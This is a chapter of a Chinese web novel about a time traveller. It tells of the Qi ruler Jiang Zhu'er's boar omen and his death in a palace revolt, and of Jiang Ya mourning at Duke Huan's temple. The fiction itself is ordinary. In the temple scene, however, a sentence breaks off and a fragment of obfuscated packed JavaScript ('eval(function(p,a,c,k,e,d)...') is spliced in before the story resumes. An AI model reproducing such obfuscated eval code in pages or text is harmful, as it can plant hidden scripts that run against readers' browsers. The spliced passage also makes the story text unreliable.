寒风卷着枯叶,天地间一片肃杀。姜诸儿纵马驰骋,试图借追猎的刺激驱散心中的郁结。侍卫们远远跟着,本就性情多变的君主,最近更是动则暴怒,挥鞭打人,谁也不想无缘无故地上去挨鞭子。 突然,前方密林中窜出一头壮硕异常的野猪,獠牙森白,目露凶光,直直地立在道中,竟不避人。 一名连续守夜的内侍想起这几天宫内的传言,像是看见了什么不得了的怪物,忽然指着那头野猪,惊恐地大叫一声:“公子彭生!是公子彭生来索命啦!” “保护君上!”侍卫长惊呼。 姜诸儿却抬手制止了欲要上前护卫的众人。他眯起醉意未消的眼睛,死死盯着那头异乎寻常的野猪,脑海里想起了公子彭生临死前那充满怨恨的双眼,以及那声凄厉的叫喊:“姜诸儿!姜雅!你们这对狗男女!我做鬼也不会放过你们!!!” 此刻,那野猪人立而起,前蹄挥舞,发出一阵不似猪嚎、反而更像人类厉啸的啼叫声! 他忽然暴怒而起,大喝一声:“公子彭生怎么敢来见我!”抽出随身宝剑便刺死了尖叫的内侍。 随后,又抢过身旁侍卫的强弓,搭箭便射。“咻——”箭矢离弦,却因他手臂微颤,擦着野猪的鬃毛飞过,深深钉入后方树干。 那野猪受此一激,眼中凶光更盛,竟掉转头,再次人立而起,朝着姜诸儿的车驾猛冲过来! 场面顿时大乱。马匹受惊,人立嘶鸣。那野猪趁此冲进了密林深处,不知去向。 “护驾!快护驾!” 姜诸儿猝不及防,被巨大的惯性狠狠甩出车厢,重重摔在地上。钻心的疼痛从脚踝传来,低头一看,自己精美的鹿皮靴也不知掉落在了何处。 “君上!”侍卫们慌忙上前,七手八脚将他扶起。 姜诸儿脸色惨白,不知是痛的还是吓的,他死死攥着一名侍卫的胳膊,嘴唇哆嗦着:“是彭生…是他来索命了…他说过…不会放过我和阿雅…” 随即,他像是想起什么,猛地抬头,对着空旷的林地嘶喊:“彭生!你要报仇,就来找我!不准去害阿雅!听见没有!不准去害她!” 齐侯寝殿。 “酒!寡人的酒呢!”姜诸儿红着眼,大声喊道。 他脚踝肿痛,心中更是被白日的惊悸与旧日的诅咒填满。他再次沉溺于酒精,试图麻痹自己。 一名内侍连忙上前,胆战心惊地回道:“君上,医正交代,您贵伤未愈,需要静养,不宜饮酒!” “混账!”姜诸儿随手一鞭抽在那人脸上,“寡人脚疼,不饮酒怎生止痛!快去与我取酒来!” 那内侍捂着脸,慌忙退下赶去取酒。 “靴子!寡人的靴子呢!”他对着近侍陈费咆哮。那只丢失的靴子,仿佛成了他对失控局势的一个象征,让他暴躁不已。 陈费战战兢兢地跪伏在地:“臣…臣等已仔细搜寻过猎场,未能寻回君上的靴子。” “废物!”姜诸儿勃然大怒,抓起手边的鞭子,没头没脑地抽在陈费身上,“连只靴子都找不到,寡人养你们何用!” 鞭梢撕裂了衣袍,在陈费背上留下道道血痕。陈费咬牙忍着剧痛,抬起眼看着这个状若疯魔的君主,知道自己若再不离开,迟早会被活活打死。 “君上息怒,臣即刻回去继续寻找。” 就在陈费挨打的时候,之前那个内侍捧着酒回来,听着劈里啪啦的鞭子声,他颤抖着双手递上酒壶。 姜诸儿丢下鞭子随手接过,拿起酒壶就往嘴里灌,待酒劲上涌,他昏昏睡去。 陈费忍着背上的剧痛,悄悄退出了寝殿,打算回家躲一阵子,但想起家里的老母亲,又无奈地长叹一口气,准备等君上心情好点再回来。 然而,他刚冲出宫门,便被一队明火执仗的甲士堵了个正着。 陈费定睛一看,见为首者竟是连称,不由暗暗叫苦:“连陈与管至因戍守葵丘过期,对君上心怀不满,今日明火执仗而来,只怕是难以善了”。 “陈费?”连称冷笑,剑锋直指其喉,“你是昏君心腹,今日合该为他陪葬!” 生死关头,陈费急中生智,猛地扯开已被鞭打破损的衣衫,露出背上纵横交错、尚在渗血的伤痕:“连大夫明鉴!那无道昏君,视我等如猪狗!这便是他方才所赐!陈费恨不能生啖其肉,岂会为他效死?”他指着伤口,声音悲愤,“宫中道路,我最熟悉。昏君狡兔三窟,常换寝处,唯有我知道他此刻藏身何处!让我进去,为诸位引路,擒杀昏君,易如反掌!” 连称与同伴对视一眼,看他背上伤势不似作伪,且言之有理,便信了几分,收起兵戈:“好!你前头带路,若敢欺瞒,立时碎尸万段!” 陈费心中暗松半口气,连忙引着叛军入宫。他并未直接带人去姜诸儿所在,而是利用地形熟悉,寻了个间隙,便闪身潜入侧殿,找到了惊惶不安的姜诸儿。 “君上!连称、管至作乱了!宫门已破 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连称等人久寻不见,竟开始纵火焚宫! 藏身处的姜诸儿被浓烟呛到,透过帷幕缝隙,看到自己日常起居的寝殿方向火光最盛。他混沌的脑海中,猛地闪过一个念头,“《琼贻秘录》!阿雅的《秘录》还在里面!” 他如同被雷击中,那是阿雅留给他唯一的东西,是阿雅视为生命的珍宝,是他疯狂执念的寄托! “不能烧!不能烧!”他彻底失去了理智,猛地推开遮掩他的帷幔,迈着受伤的脚,跌跌撞撞地朝着火海中的寝殿冲去。 “君上!”陈费惊骇欲绝,想要阻拦已是不及。 姜诸儿冲入烈焰熊熊的寝殿,不顾四处掉落的梁柱瓦砾,疯了般在浓烟中摸索。天可怜见,在寝殿垮掉以前,终于被他摸到了那个箱子,那个他特意从楚国购来楠木,做了一个箱子,专门用来存放江雅交给他的《琼贻秘录》的那个箱子。他如获至宝,紧紧将其搂在怀中,转身欲逃。 然而,刚冲出殿门,便被守在外面的连称等人逮个正着。 “昏君!受死吧!”连称狞笑着举起了剑。 远处的陈费目睹此景,吓得魂飞魄散,本能地就想转身逃命。可脚步刚动,母亲平日“受君之禄,忠君之事”的教诲,以及姜诸儿往日对他老母的些许照拂,瞬间涌上心头。 “啊——!”陈费发出一声不知是恐惧还是决绝的嘶吼,拔出腰间短刃,返身冲向了叛军,“保护君上!” 火光中,他身后也闪出一个身影跟着大叫一声冲了出来,“啊!——” 陈费一看是彭大胆,又惊又喜,“彭大胆!你不最是胆小吗,不在一边躲着,这么冲出来,不怕死么!” 彭大胆跟陈费抱在一起,用身子紧紧护住姜诸儿,“怕!可我更怕你在九泉之下骂我忘恩负义!” 他们一介内侍,如何是如狼似虎的甲士的对手?顷刻间便被乱矛刺倒在地。 姜诸儿推开趴在身上的陈费和彭大胆,怀抱着装了《琼贻秘录》的木箱,踉跄后退,身上已多了数个血洞。生命力正随着鲜血快速流逝,他拖着受伤的腿,一瘸一拐地走到屋檐下,靠着烧焦的廊柱,缓缓滑坐在地。 看着死去的陈费和彭大胆,以及明显命不久矣的姜诸儿,边上的叛军围了过去,但并无人敢真正动手砍下这个暴戾君主的头颅。 视线开始模糊,周遭的喊杀声、烈焰的噼啪声仍在响起,却渐渐远去。姜诸儿打开怀中的箱子,里面《琼贻秘录》已被他的鲜血浸透,白皙的封面晕开一片刺目的猩红。 恍惚中,那蔓延的红色仿佛活了过来,扭曲、变幻,化作了记忆中那片灼灼盛放的桃花林。春风和煦,花瓣如雨,那个顾盼间明艳动人的少女阿雅,正满脸含笑地挽着他的手,在桃树下嬉戏追逐,笑声如银铃般清脆。 没有鲁国,没有权谋,没有牺牲,也没有分离。 只有他和他的阿雅。 姜诸儿脸上那积郁多年的阴鸷与疯狂,终于如冰雪般消融。他望着那片绚烂的桃花幻影,嘴角缓缓勾起,露出一抹如同少年般纯粹而满足的笑意,随即头一歪,气息断绝。 28. 第二十八章 孽缘 秋风卷着残叶,打着旋儿扑在窗棂上,发出沙沙的轻响。江雅站在窗边摩挲着王姬之前给她的玉环,怔怔出神,小度轻手轻脚地进来,低声禀报:“夫人,齐国使者高奚求见。” 江雅眉头立刻蹙起,想也不想便回绝:“不见。” 声音里带着尚未平复的厌烦与疲惫。 小度领命转头离去,没过多久,却又走了进来,她犹豫片刻,再次说道:“夫人,此次高奚与前两次大不相同,面色忧伤,眉宇间带着急切,全无往日那般倨傲,看着…倒有几分可怜。他央求了几次,说有要事必须当面告知夫人,您看…” 江雅摩挲玉环的手微微一顿。高奚此人,惯会做戏,但小度既如此说…她沉吟片刻,终究还是摆了摆手:“让他进来吧。” 高奚很快被引入殿中。 果然如小度所言,他穿着一身孝服,步履沉重,往日的倨傲荡然无存,只剩下难以掩饰的疲惫与哀戚。 他深深一揖,声音沙哑:“外臣高奚,拜见夫人。” “高大夫去而复返,不知有何见教?”江雅端坐于上,语气平静无波。 高奚抬起头,眼中布满血丝:“外臣此来,是禀告夫人,我国君上,在寝宫…遇弑身亡了。” 殿内霎时一静。 江雅握着玉环的手指陡然收紧。那个偏执、疯狂、如同梦魇般缠绕着她的身影,那个害死阿琼、逼得她一夜白头的元凶,就这么…死了? 预想中大仇得报的快意并未涌现,心湖仿佛被投入一颗石子的古井,只泛起一圈微不可察的涟漪,随即恢复了死寂。她甚至能听到自己平静得近乎冷漠的声音:“哦?是么。我知道了。” 高奚紧紧盯着她的脸,试图从那片平静无波的脸上找到一丝一毫的悲伤或震动,然而他失望了。那平静,是真正的无动于衷。一股难以言喻的悲愤与不甘涌上心头,他忍不住踏前一步,语气激动起来:“夫人!君上…君上他临死前,是为了冲回起火的正殿,抢救那本《琼贻秘录》,才被叛军发现的!他本可以藏在偏殿,等着救援!” 江雅终于抬眸看了他一眼,眼中掠过一丝诧异,随即又被更深的冷漠覆盖。“所以呢?”她轻轻反问,嘴角甚至牵起一丝极淡的、近乎残酷的弧度,“这与我,有何干系?” “与你何干?!”高奚像是被这句话刺痛,声音陡然拔高,带着满腔的不平与激愤,“君上他心系于您!一直深爱着您啊!他或许暴戾无常,或许行事悖逆人伦,令人不齿!可他从未真正伤害过你!” “他爱我?”江雅像是听到了什么荒谬绝伦的笑话,猛地站起身,脸上带着愤怒的嗤笑:“他爱我?高大夫莫非是悲伤过度,神志不清了?我是以短剑挟持,以《秘录》相换,才好不容易换来些许救命的粮食。他若爱我,会这般刁难于我?” “短剑?”高奚打断她,笑声凄厉而悲凉,“若非君上默许,您以为那柄短剑,能带得进齐宫后殿吗?!那本《秘录》?不过一堆死物,于君上何用之有?!他在乎的,只是因为那是您的心血!他明知留不住您,只是想留下一个属于您的念想!仅此而已!” 他喘了口气,继续剖析,字字如锤:“君子论迹不论心,夫人再怎么否认,但君上确实是借了粮食给您回国的。不借粮,坐视鲁国饥荒蔓延,国力大损,我齐国正可趁机攻城略地,攫取实利!借粮予你,资敌以活,对我齐国而言,分明是弊远大于利!然而君上还是这么做了,这一切,都只是因为…提出借粮条件的人,是你!他只是在用他的方式,笨拙地、不顾一切地…想要留住一点与你相关的东西罢了!” 他深吸一口气,用更沉痛、更具体的声音,投下了最后一颗巨石:“还有一事,外臣斗胆,必须让夫人知晓。君上在遇弑前,曾于猎场遭遇不祥:一头野猪,人立而啼,似吐怨言!边上侍者惊呼是公子彭生索命,君上当时惊怒交加,却对空嘶喊:‘彭生!你要报仇,就来找我!不准去害阿雅!听见没有!不准去害她!’” 他死死盯着江雅,一字一顿:“夫人!直到最后,他都在用他的方式…护着你啊! 高奚的话,彻底颠覆了江雅的认知,像一把重锤,狠狠地砸碎了她内心筑起的堡垒。她想起姜诸儿看着她时,那灼热到令人不适的眼神深处,似乎确实藏着某种她从未想去解读的、近乎绝望的执着;想起他接过《琼贻秘录》时,指尖那微不可察的、珍重般的轻颤… 就在这时,一阵尖锐的刺痛猛地窜入脑海! 一些模糊而陌生的画面不受控制地翻涌上来——桃花烂漫的园林,少年男女追逐嬉戏的笑声,那个被称为“阿兄”的俊朗少年,将一朵最艳的桃花,小心翼翼地簪在少女鬓边,眼中是纯粹的、毫无阴霾的喜悦… 那是…姜诸儿和真正的姜雅…属于这个身体原主的,被深埋的记忆。 高奚看着她骤然苍白的脸色和失神的双眸,知道自己的话已如种子般种下。他收敛了激动的情绪,深深一揖:“外臣言辞无状,冒犯夫人了。今日之言,非为旧主辩解,实不忍见其一片痴心,就此湮灭于尘土。此外,齐国骤失国君,内乱将起,诸公子争位,必然动荡,外臣还需赶回国内稳定局势。只望夫人,能念及此番情义与借粮之谊,他日…莫要对齐国逼迫太甚。” 说罢,他不再多言,躬身一礼,转身离去,背影在秋风中显得格外萧索。 江雅没有回应,也没有注意到他的离去。 良久,她缓缓站起身,摆手屏退了满脸担忧的小度,独自一人,迈着沉重的步伐,第一次走进鲁同为他的逝去的父亲新建的宗庙。 深秋的风裹着寒意,从宗庙朱漆大门的缝隙里钻进来,卷起厚重的帷幔,似也在诧异,今天的宗庙竟来了一位不速之客。 这里烛火长明,香烟缭绕,空气清冷而肃穆。 江雅走到那个新的牌位前,沉默地站着,幽暗的灯火映出上面冰冷的刻字——桓公。 这是她名义上的夫君,那个在齐国访问时,被公子彭生所杀的鲁国国君。 江雅没有跪拜,只是微微俯身,伸出手,指尖悬在牌位上方,却没有落下。 她想起自己竟然还从未见过这具身体的夫君,刚穿越过来时,他就早已没了声息,躺在灵柩里。那时她刚穿越过来,完全没有原身的记忆。直到后来,她才一点点拼凑出真相:齐侯姜诸儿与原身姜雅本是兄妹,却有着禁忌之恋,桓公毫不知情之下当了接盘侠,多年之后带着姜雅回到齐国访问。十数年未见的两兄妹,恰似干柴遇上烈火,鲁桓公大怒之下,严厉斥责。姜雅却是向情郎哥哥告状,姜诸儿看着哭的梨花带雨的妹妹,也是怒向胆边生,安排公子彭生杀死了桓公。之后自己穿越过来,在殡宫一番话逼着姜诸儿杀死彭生顶罪。 风又吹进来,这次更急些,吹得最旁边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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江雅睁开眼,望着宗庙外的暮色,轻声念道:“如果我没有穿越过来,阿琼是不是就不会死。是不是就会继续做她那心怀天下的王姬。如果,她没嫁给你,你是不是就不会死,继续做你鲁国的君主。”她忽然顿住,失声痛哭:“如果,她们不是兄妹,她们会不会幸福一生?她能不能改变他那暴戾无常的性子…这样一来,他也不会死的如此草率…” 她收住泪水,目光再次回到牌位上,一种超越个人恩怨的、对命运本身的悲悯缓缓升起:“我们都在这场名为“孽缘”的洪流里……你,彭生,他,阿琼,还有我……无一幸免。爱恨痴缠,争权夺利,阴谋与杀戮,到头来,会不会都成了史书上几行冰冷的记载,和后人茶余饭后,一段染着桃色与血腥的香艳传说?” 庙内无人回答,深秋的风从大门涌入,吹得她衣袂翻飞,她却浑然未觉,只是忽然感觉受了寒气,猛地剧烈咳嗽起来。 “咳咳咳…我不会为姜诸儿辩解。” 她对着桓公的牌位,也对着自己的内心,一字一句地说,“他害死了你,害死了阿琼,害死了彭生,这些罪孽,不会因为他最后护了我,就一笔勾销。可我也明白,他不是天生的恶人,他只是被执念困死的可怜人。就像我们所有人,都被这乱世的孽缘,困在了一起。” 她抬手理了理衣物,转身准备离开。走到庙门口时,她回头望了一眼桓公牌位前跳动的烛火。那牌位上的人,都曾想过要让鲁国强盛,可最终却被命运捉弄,都成了史书上的几行字,成了后人茶余饭后的谈资。而她,另一个来自异世界被捉弄的灵魂,却要在这片残破的土地上,被迫收拾残局。 “夫君,”她忽而开口,看向殿外那苍茫的天空,“你看着吧,我会带着同儿,创造一个强盛的鲁国!不负你…也不负阿琼,也不负…” 暮色渐浓,狰狞的夜色与昏暗的宗庙融为一体,江雅的身影似被吞噬,也渐渐隐去。